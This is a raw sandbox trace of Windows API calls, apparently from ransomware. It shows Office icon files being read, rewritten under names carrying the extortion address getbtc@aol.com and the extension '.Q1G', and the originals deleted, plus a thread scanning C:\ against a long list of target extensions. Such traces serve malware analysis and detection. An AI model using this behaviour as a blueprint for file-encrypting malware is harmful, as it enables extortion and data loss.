[0265.431] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2550) returned 1 [0265.431] CloseHandle (hObject=0x3a8) returned 1 [0265.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico")) returned 0x20 [0265.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.431] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.431] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.432] GetLastError () returned 0x0 [0265.432] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x9f6, lpOverlapped=0x0) returned 1 [0265.435] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0265.436] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.436] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0265.436] SetEndOfFile (hFile=0x3d8) returned 1 [0265.436] CloseHandle (hObject=0x3d8) returned 1 [0265.436] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.436] SetEndOfFile (hFile=0x3a8) returned 1 [0265.654] CloseHandle (hObject=0x3a8) returned 1 [0265.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico")) returned 1 [0265.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.655] lstrlenW (lpString=".doc") returned 4 [0265.655] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.655] lstrlenW (lpString=".docx") returned 5 [0265.655] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.655] lstrlenW (lpString=".pdf") returned 4 [0265.655] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.655] lstrlenW (lpString=".xls") returned 4 [0265.655] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.655] lstrlenW (lpString=".xlsx") returned 5 [0265.655] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.656] lstrlenW (lpString=".ppt") returned 4 [0265.656] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.656] lstrlenW (lpString=".zip") returned 4 [0265.656] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.656] lstrlenW (lpString=".rar") returned 4 [0265.656] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.656] lstrlenW (lpString=".bz2") returned 4 [0265.656] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.656] lstrlenW (lpString=".7z") returned 3 [0265.656] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.656] lstrlenW (lpString=".dbf") returned 4 [0265.656] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.656] lstrlenW (lpString=".1cd") returned 4 [0265.656] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.656] lstrlenW (lpString=".jpg") returned 4 [0265.656] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.656] lstrlenW (lpString=".doc") returned 4 [0265.656] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.656] lstrlenW (lpString=".docx") returned 5 [0265.656] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.656] lstrlenW (lpString=".pdf") returned 4 [0265.656] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.656] lstrlenW (lpString=".xls") returned 4 [0265.656] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.656] lstrlenW (lpString=".xlsx") returned 5 [0265.656] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.656] lstrlenW (lpString=".ppt") returned 4 [0265.656] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.656] lstrlenW (lpString=".zip") returned 4 [0265.656] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.656] lstrlenW (lpString=".rar") returned 4 [0265.657] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.657] lstrlenW (lpString=".bz2") returned 4 [0265.657] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.657] lstrlenW (lpString=".7z") returned 3 [0265.657] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.657] lstrlenW (lpString=".dbf") returned 4 [0265.657] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.657] lstrlenW (lpString=".1cd") returned 4 [0265.657] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned 81 [0265.657] lstrlenW (lpString=".jpg") returned 4 [0265.657] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.657] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.657] lstrlenW (lpString="StatusAway.ico") returned 14 [0265.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.726] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2862) returned 1 [0265.726] CloseHandle (hObject=0x37c) returned 1 [0265.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico")) returned 0x20 [0265.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.776] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.785] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.798] GetLastError () returned 0x0 [0265.798] ReadFile (in: hFile=0x3d8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xb2e, lpOverlapped=0x0) returned 1 [0265.806] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0265.808] ReadFile (in: hFile=0x3d8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.808] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0265.808] SetEndOfFile (hFile=0x37c) returned 1 [0266.031] CloseHandle (hObject=0x37c) returned 1 [0266.031] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.031] SetEndOfFile (hFile=0x3d8) returned 1 [0266.042] CloseHandle (hObject=0x3d8) returned 1 [0266.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0266.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico")) returned 1 [0266.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.043] lstrlenW (lpString=".doc") returned 4 [0266.043] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0266.043] lstrlenW (lpString=".docx") returned 5 [0266.043] lstrcmpiW (lpString1=".docx", lpString2="y.ico") returned -1 [0266.043] lstrlenW (lpString=".pdf") returned 4 [0266.043] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0266.043] lstrlenW (lpString=".xls") returned 4 [0266.043] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0266.043] lstrlenW (lpString=".xlsx") returned 5 [0266.044] lstrcmpiW (lpString1=".xlsx", lpString2="y.ico") returned -1 [0266.044] lstrlenW (lpString=".ppt") returned 4 [0266.044] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0266.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.044] lstrlenW (lpString=".zip") returned 4 [0266.044] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0266.044] lstrlenW (lpString=".rar") returned 4 [0266.044] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0266.044] lstrlenW (lpString=".bz2") returned 4 [0266.044] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0266.044] lstrlenW (lpString=".7z") returned 3 [0266.044] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0266.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.044] lstrlenW (lpString=".dbf") returned 4 [0266.044] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0266.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.044] lstrlenW (lpString=".1cd") returned 4 [0266.044] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0266.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.044] lstrlenW (lpString=".jpg") returned 4 [0266.044] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0266.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.044] lstrlenW (lpString=".doc") returned 4 [0266.044] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0266.044] lstrlenW (lpString=".docx") returned 5 [0266.044] lstrcmpiW (lpString1=".docx", lpString2="y.ico") returned -1 [0266.044] lstrlenW (lpString=".pdf") returned 4 [0266.044] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0266.044] lstrlenW (lpString=".xls") returned 4 [0266.044] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0266.044] lstrlenW (lpString=".xlsx") returned 5 [0266.044] lstrcmpiW (lpString1=".xlsx", lpString2="y.ico") returned -1 [0266.044] lstrlenW (lpString=".ppt") returned 4 [0266.044] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0266.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.045] lstrlenW (lpString=".zip") returned 4 [0266.045] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0266.045] lstrlenW (lpString=".rar") returned 4 [0266.045] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0266.045] lstrlenW (lpString=".bz2") returned 4 [0266.045] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0266.045] lstrlenW (lpString=".7z") returned 3 [0266.045] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0266.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.045] lstrlenW (lpString=".dbf") returned 4 [0266.045] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0266.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.045] lstrlenW (lpString=".1cd") returned 4 [0266.045] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0266.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned 74 [0266.045] lstrlenW (lpString=".jpg") returned 4 [0266.045] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0266.045] lstrcmpiW (lpString1=".xss", lpString2=".Q1G") returned 1 [0266.045] lstrlenW (lpString="Installed_resources14.xss") returned 25 [0266.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0266.069] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=29016064) returned 1 [0266.069] CloseHandle (hObject=0x1b8) returned 1 [0266.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss")) Thread: id = 80 os_tid = 0x644 [0235.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x3ab00a0 [0235.839] lstrlenW (lpString="C:") returned 2 [0235.839] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x369fd00 | out: lpFindFileData=0x369fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x614458 [0235.840] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0235.840] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0235.840] lstrlenW (lpString="$Recycle.Bin") returned 12 [0235.840] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0235.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x3ac00a8 [0235.840] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0235.840] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x369fa84 | out: lpFindFileData=0x369fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2d48 [0235.841] FindNextFileW (in: hFindFile=0x5a2d48, lpFindFileData=0x369fa84 | out: lpFindFileData=0x369fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.841] FindNextFileW (in: hFindFile=0x5a2d48, lpFindFileData=0x369fa84 | out: lpFindFileData=0x369fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbecabb40, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0xbecabb40, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0235.841] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0235.841] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0235.841] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0235.841] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0235.841] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x3ad00b0 [0235.841] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0235.841] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x369f808 | out: lpFindFileData=0x369f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbecabb40, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0xbecabb40, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e10 [0235.841] FindNextFileW (in: hFindFile=0x5a2e10, lpFindFileData=0x369f808 | out: lpFindFileData=0x369f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbecabb40, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0xbecabb40, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.841] FindNextFileW (in: hFindFile=0x5a2e10, lpFindFileData=0x369f808 | out: lpFindFileData=0x369f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbecabb40, ftCreationTime.dwHighDateTime=0x1d54a09, ftLastAccessTime.dwLowDateTime=0xbecabb40, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0xbecabb40, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0235.842] lstrlenW (lpString="desktop.ini") returned 11 [0235.842] lstrlenW (lpString=".1cd") returned 4 [0235.842] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0235.842] lstrlenW (lpString=".3ds") returned 4 [0235.842] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0235.842] lstrlenW (lpString=".3fr") returned 4 [0235.842] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0235.842] lstrlenW (lpString=".3g2") returned 4 [0235.842] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0235.842] lstrlenW (lpString=".3gp") returned 4 [0235.842] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0235.842] lstrlenW (lpString=".7z") returned 3 [0235.842] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0235.842] lstrlenW (lpString=".accda") returned 6 [0235.842] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0235.842] lstrlenW (lpString=".accdb") returned 6 [0235.842] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0235.842] lstrlenW (lpString=".accdc") returned 6 [0235.842] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0235.842] lstrlenW (lpString=".accde") returned 6 [0235.842] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0235.842] lstrlenW (lpString=".accdt") returned 6 [0235.842] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0235.842] lstrlenW (lpString=".accdw") returned 6 [0235.842] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0235.842] lstrlenW (lpString=".adb") returned 4 [0235.842] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0235.842] lstrlenW (lpString=".adp") returned 4 [0235.842] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0235.842] lstrlenW (lpString=".ai") returned 3 [0235.842] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0235.842] lstrlenW (lpString=".ai3") returned 4 [0235.842] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0235.842] lstrlenW (lpString=".ai4") returned 4 [0235.842] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0235.842] lstrlenW (lpString=".ai5") returned 4 [0235.842] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0235.843] lstrlenW (lpString=".ai6") returned 4 [0235.843] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0235.843] lstrlenW (lpString=".ai7") returned 4 [0235.843] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0235.843] lstrlenW (lpString=".ai8") returned 4 [0235.846] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".anim") returned 5 [0235.846] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0235.846] lstrlenW (lpString=".arw") returned 4 [0235.846] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".as") returned 3 [0235.846] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0235.846] lstrlenW (lpString=".asa") returned 4 [0235.846] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".asc") returned 4 [0235.846] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".ascx") returned 5 [0235.846] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0235.846] lstrlenW (lpString=".asm") returned 4 [0235.846] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0235.846] lstrlenW (lpString=".asmx") returned 5 [0235.846] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0235.846] lstrlenW (lpString=".asp") returned 4 [0235.846] lstrcmpiW (lpString1=".asp", 